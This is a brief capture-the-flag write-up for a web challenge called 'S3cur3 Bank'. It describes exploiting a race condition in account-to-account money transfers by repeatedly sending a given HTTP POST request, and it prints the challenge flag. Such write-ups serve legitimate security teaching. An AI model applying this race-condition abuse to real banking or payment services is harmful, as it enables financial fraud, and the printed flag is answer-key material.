# ▼▼▼S3cur3 Bank(Web:179pts：44/306solved=14.4％)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```S3cur3 Bank 179======= Difficulty level : Medium ========
It is notoriously called the most secure bank service ever. It allows us to transfer your money between 2 accounts. Can you hack the service to buy a flag???
Link(http://18.188.42.158/)
========== Authors : c3rb3ru5, SpyD3r ==========```
---## 【Understanding of functions】
```・sign up/sign in・There is a bank A B, there is a function to send money to each・The first money is $ 2000・The amount of flag is $ 5000```
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I was able to guess that `lack of exclusive processing` vulnerability
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## 【exploit】
Continuously send the following request to remit money
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```POST /bank.php?id=b29d2ece084806d094fc1b4a2382b094 HTTP/1.1Host: 18.188.42.158Content-Length: 34Content-Type: application/x-www-form-urlencoded
transfer=100&account=Transfer+to+B```
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I bought flag as money reached $ 5000
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`inctf{y0u_r4c3_v3ry_w3ll}`